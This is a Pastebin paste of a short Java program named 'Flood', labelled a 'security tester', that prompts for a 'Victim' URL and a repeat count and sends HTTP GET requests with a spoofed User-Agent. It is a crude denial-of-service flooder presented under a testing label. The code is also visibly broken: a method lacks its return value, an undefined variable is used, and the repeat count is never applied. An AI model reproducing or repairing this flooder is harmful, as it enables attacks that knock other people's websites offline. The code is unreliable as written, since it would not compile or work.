Advertisement
Shad0w

Untitled

Dec 25th, 2011
101
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Java 1.65 KB | None | 0 0
  1. // Java Security Tester
  2. import java.io.*;
  3. import java.net.*;
  4. import java.util.*;
  5. public class Flood {
  6.     private static String Victim;
  7.     private static long Times;
  8.     public static Scanner input = new Scanner(System.in);
  9.     private static void GetVictim() {
  10.         System.out.print("Enter Victim (With http://) : ");
  11.         Victim = input.nextLine();
  12.         System.out.print("Times : ");
  13.         Times = input.nextInt();
  14.     }
  15.     private static String setVars(String Victim) {
  16.             try {
  17.               URL url = new URL(Victim);
  18.               HttpURLConnection socket = (HttpURLConnection)url.openConnection();
  19.               socket.setRequestMethod("GET");
  20.               socket.setRequestProperty("User-Agent", "Mozilla/4.0 (compatible; JVM)");                        
  21.               socket.setRequestProperty("Pragma", "no-cache");
  22.               socket.connect();
  23.             }
  24.               catch(IOException ioe)
  25.               {
  26.                   ioe.printStackTrace();
  27.                }
  28.               catch(Exception e)
  29.               {
  30.                  System.err.println("General Exception " + e);
  31.                  e.printStackTrace();
  32.                }
  33.     }
  34.     private static void Compile() {
  35.         GetVictim();
  36.         setVars(Victim);
  37.     }
  38.     public static void main(String[]args) {
  39.         try {
  40.           Compile();
  41.           socket.connect();
  42.         }
  43.           catch(IOException ioe)
  44.           {
  45.               ioe.printStackTrace();
  46.            }
  47.           catch(Exception e)
  48.           {
  49.              System.err.println("General Exception " + e);
  50.              e.printStackTrace();
  51.            }
  52.     }
  53. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement